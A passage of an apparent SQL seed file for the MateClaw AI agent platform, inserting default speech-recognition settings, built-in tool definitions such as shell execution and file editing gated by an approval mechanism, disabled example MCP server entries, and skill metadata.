实例地址(Docker 部署时自动配置)', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +-- 语音识别(STT)默认配置 —— 默认启用,用户只需在模型管理中配置 OpenAI / DashScope API Key 即可使用 +-- 用 setting_key 的 skip-if-exists 写法(SELECT ... WHERE NOT EXISTS), +-- 既不强行覆盖用户显式设过的值,也不会撞 setting_key UNIQUE 索引。 +-- V46 迁移走的是同一套语义。 +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000020, 'sttEnabled', 'true', '启用语音识别(TalkMode 麦克风输入)', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttEnabled'); + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000021, 'sttProvider', 'auto', 'STT 提供商:auto / openai / dashscope', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttProvider'); + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000022, 'sttFallbackEnabled', 'true', '主 provider 失败时自动尝试备选 provider', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttFallbackEnabled'); + +-- 内置工具:日期时间 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000001, 'DateTimeTool', '日期时间', '获取当前日期和时间信息', 'builtin', 'dateTimeTool', '🕐', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:网络搜索 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000002, 'WebSearchTool', '网络搜索', '在互联网上搜索实时信息', 'builtin', 'webSearchTool', '🔍', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:本地命令执行(默认启用,危险操作由 ToolGuard 审批控制) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000003, 'ShellExecuteTool', '命令执行', '在本地服务器上执行 Shell 命令。用于执行系统命令、查看文件、运行脚本等操作。危险操作会触发审批确认。', 'builtin', 'shellExecuteTool', '🖥', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:读取文件 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000004, 'ReadFileTool', '读取文件', '读取指定文件的内容,支持按行范围读取,自动截断超大输出。', 'builtin', 'readFileTool', '📖', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:写入文件(默认启用,危险操作由 ToolGuard 审批控制) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000005, 'WriteFileTool', '写入文件', '将内容写入指定文件。如果文件已存在则完全覆写,不存在则创建新文件。每次执行需要用户审批确认。', 'builtin', 'writeFileTool', '📝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:编辑文件(默认启用,危险操作由 ToolGuard 审批控制) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000006, 'EditFileTool', '编辑文件', '通过查找替换编辑文件内容,精确匹配 old_text 并替换为 new_text。每次执行需要用户审批确认。', 'builtin', 'editFileTool', '✏️', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:技能文件读取(Skill Runtime Tool) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000007, 'SkillFileTool', '技能文件读取', '读取技能包内的文件(SKILL.md/references/scripts),列出技能文件目录树。支持 read_skill_file 和 list_skill_files 两个工具。', 'builtin', 'skillFileTool', '📖', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:技能脚本执行(Skill Runtime Tool) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000008, 'SkillScriptTool', '技能脚本执行', '执行技能包 scripts/ 目录下的脚本(Python/Bash/Node),路径严格限制在技能目录内。', 'builtin', 'skillScriptTool', '⚡', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:文件类型检测 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000009, 'FileTypeDetectorTool', '文件类型检测', '检测文件的 MIME 类型和类别,区分文本文件和 PDF/Office 文档,帮助选择合适的读取工具。', 'builtin', 'fileTypeDetectorTool', '🔍', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:文档文本提取 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000010, 'DocumentExtractTool', '文档文本提取', '从 PDF、Word、Excel、PowerPoint 等 Office 文档中提取纯文本内容。支持 fallback 链:系统命令优先,Java 实现兜底。', 'builtin', 'documentExtractTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:数据库工作区记忆读写 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000011, 'WorkspaceMemoryTool', '工作区记忆', '读写数据库中的工作区 Markdown 文档,用于维护 PROFILE.md、MEMORY.md 和 memory/YYYY-MM-DD.md 等持久记忆。', 'builtin', 'workspaceMemoryTool', '🧠', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:浏览器控制(Playwright) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000012, 'BrowserUseTool', '浏览器控制', '启动和控制浏览器,支持打开网页、截图、点击、输入、执行JS等自动化操作。配合 browser_visible / browser_cdp 技能使用。', 'builtin', 'browserUseTool', '🌐', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:MateClaw 项目文档读取 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000013, 'MateClawDocTool', 'MateClaw 文档', '读取 MateClaw 内置项目文档。action=list 列出所有文档,action=read 读取指定文档内容(如 zh/config.md)。', 'builtin', 'mateClawDocTool', '📚', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:Agent 委派(多 Agent 协作) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000014, 'DelegateAgentTool', 'Agent 委派', '委派任务给其他 Agent 执行,实现多 Agent 协作。支持按名称调用目标 Agent,在独立会话中运行并返回结果。', 'builtin', 'delegateAgentTool', '🤝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000015, 'VideoGenerateTool', '视频生成', '使用 AI 生成视频,支持文字生成视频和图片生成视频两种模式。视频生成是异步过程,完成后自动显示在对话中。', 'builtin', 'videoGenerateTool', '🎬', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000016, 'ImageGenerateTool', '图片生成', '使用 AI 生成图片,支持文字生成图片。支持 DashScope 通义万相、OpenAI DALL-E、fal.ai Flux、智谱 CogView 等多个 Provider,自动回退。', 'builtin', 'imageGenerateTool', '🎨', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000017, 'WikiTool', 'Wiki 知识库', '读取、搜索 Wiki 知识库中的结构化页面,并追溯原始来源文件。支持 wiki_read_page、wiki_list_pages、wiki_search_pages、wiki_trace_source 四个工具。', 'builtin', 'wikiTool', '📚', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:定时任务管理 +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000018, 'CronJobTool', '定时任务', '通过对话创建、查看、启停和删除定时任务。支持 5 字段 cron 表达式,灵活设定执行时间。', 'builtin', 'cronJobTool', '⏰', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:DOCX 渲染(RFC-045 — 进程内 Apache POI,毫秒级新建 .docx) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000019, 'DocxRenderTool', 'DOCX 渲染', '将 Markdown 直接渲染为 .docx 并返回一次性下载链接。进程内 Apache POI 实现,无需 Node.js 子进程;支持标题、加粗、列表、表格。新建文档场景的首选工具。', 'builtin', 'docxRenderTool', '📝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:XLSX 渲染(进程内 Apache POI,从 Markdown 表格生成多 sheet 工作簿) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000020, 'XlsxRenderTool', 'XLSX 渲染', '将 Markdown 直接渲染为 .xlsx 工作簿并返回一次性下载链接。进程内 Apache POI 实现;每个 # 一级标题生成一个 sheet,竖线表格成为行内容,数字单元格自动识别。', 'builtin', 'xlsxRenderTool', '📊', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:PPTX 渲染(进程内 Apache POI,Marp 风格 Markdown 生成 .pptx) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000021, 'PptxRenderTool', 'PPTX 渲染', '将 Marp 风格的 Markdown 直接渲染为 .pptx 演示文稿并返回一次性下载链接。进程内 Apache POI 实现;--- 分页、# / ## 作幻灯片标题、- 作要点、 作演讲者备注。', 'builtin', 'pptxRenderTool', '🎞️', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置工具:PDF 渲染(双 backend:LibreOffice 子进程优先,进程内 OpenPDF + Flying Saucer 兜底) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 示例 MCP Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem) +INSERT INTO mate_mcp_server ( + id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, + enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error, + last_connected_time, tool_count, builtin, create_time, update_time, deleted +) +VALUES (1000000901, 'filesystem', 'Filesystem MCP for MateClaw workspace', 'stdio', NULL, NULL, 'npx', '["-y","@modelcontextprotocol/server-filesystem","${user.home}"]', '{}', NULL, FALSE, 30, 60, 'disconnected', NULL, NULL, 0, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, transport=EXCLUDED.transport, url=EXCLUDED.url, headers_json=EXCLUDED.headers_json, command=EXCLUDED.command, args_json=EXCLUDED.args_json, env_json=EXCLUDED.env_json, cwd=EXCLUDED.cwd, enabled=EXCLUDED.enabled, connect_timeout_seconds=EXCLUDED.connect_timeout_seconds, read_timeout_seconds=EXCLUDED.read_timeout_seconds, last_status=EXCLUDED.last_status, last_error=EXCLUDED.last_error, last_connected_time=EXCLUDED.last_connected_time, tool_count=EXCLUDED.tool_count, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 预置 MCP Server:GitHub(需配置 GITHUB_TOKEN 环境变量后启用) +INSERT INTO mate_mcp_server ( + id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, + enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error, + last_connected_time, tool_count, builtin, create_time, update_time, deleted +) +VALUES (1000000902, 'github', 'GitHub MCP Server — 搜索仓库/代码/Issues,管理 PR 和文件', 'stdio', NULL, NULL, 'npx', '["-y","@modelcontextprotocol/server-github"]', '{"GITHUB_PERSONAL_ACCESS_TOKEN":""}', NULL, FALSE, 30, 60, 'disconnected', NULL, NULL, 0, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, transport=EXCLUDED.transport, url=EXCLUDED.url, headers_json=EXCLUDED.headers_json, command=EXCLUDED.command, args_json=EXCLUDED.args_json, env_json=EXCLUDED.env_json, cwd=EXCLUDED.cwd, enabled=EXCLUDED.enabled, connect_timeout_seconds=EXCLUDED.connect_timeout_seconds, read_timeout_seconds=EXCLUDED.read_timeout_seconds, last_status=EXCLUDED.last_status, last_error=EXCLUDED.last_error, last_connected_time=EXCLUDED.last_connected_time, tool_count=EXCLUDED.tool_count, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 内置技能:从 MateClaw 迁移的技能元数据 +-- DEPRECATED (RFC-044 §4.2): The authoritative source for builtin skills is now +-- classpath:skills//SKILL.md, upserted on startup by BuiltinSkillSeedService. +-- These INSERT/UPDATE blocks remain as a one-version compatibility shim and will +-- be removed in the next release. New skills should NOT be added here — drop a +-- SKILL.md under skills// and the seed service will register it. +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000001, 'cron', '定时任务管理。通过命令或控制台创建、查询、暂停、恢复、删除任务,按时间表执行并把结果发到频道。', 'builtin', '⏰', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'cron,schedule,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000002, 'file_reader', '读取与摘要文本类文件,如 txt、md、json、csv、log、代码文件等。PDF 与 Office 文件由专用技能处理。', 'builtin', '📄', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'file,reader,text,summary', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000003, 'dingtalk_channel_connect', '辅助完成钉钉频道接入流程,支持可视浏览器、登录暂停和发布前检查。', 'builtin', '🤖', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'dingtalk,channel,browser,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000004, 'himalaya', '通过 CLI 管理邮件,支持多账户 IMAP/SMTP、搜索、阅读、回复和附件处理。', 'builtin', '📧', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md","homepage":"https://github.com/pimalaya/himalaya"}', TRUE, TRUE, 'email,imap,smtp,cli', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000005, 'news', '从互联网查询最新新闻。支持政治、财经、社会、国际、科技、体育、娱乐等分类。自动适配内置搜索和工具搜索。', 'builtin', '📰', '2.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'news,web,search,summary', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000006, 'pdf', 'PDF 相关操作:阅读、提取文字和表格、合并拆分、旋转、水印、填表、加密解密、OCR 等。内含表单字段提取、填充、边界框校验和 PDF 转图片等脚本。', 'builtin', '📕', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'pdf,ocr,forms,document', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000007, 'docx', 'Word 文档的创建、阅读、编辑,支持目录、页眉页脚、表格、图片、修订与批注。内含 XML 解包/打包、Schema 校验、修订处理和 LibreOffice 集成等脚本。', 'builtin', '📝', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'docx,word,document,office', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000008, 'pptx', 'PPT 的创建、阅读、编辑,支持模板、版式、备注与批注。内含幻灯片操作、缩略图生成、XML 校验和 LibreOffice 集成等脚本。', 'builtin', '📊', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'pptx,presentation,slides,office', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000009, 'xlsx', '表格文件的读取、编辑、创建与格式整理,支持公式、数据清洗和分析。内含公式重算、XML 解包/打包、Schema 校验和 LibreOffice 集成等脚本。', 'builtin', '📈', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'xlsx,excel,csv,spreadsheet,data', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000010, 'browser_visible', '以可见模式启动真实浏览器窗口,适用于演示、调试或需要人工参与的场景。', 'builtin', '🖥️', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'browser,visible,headed,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, 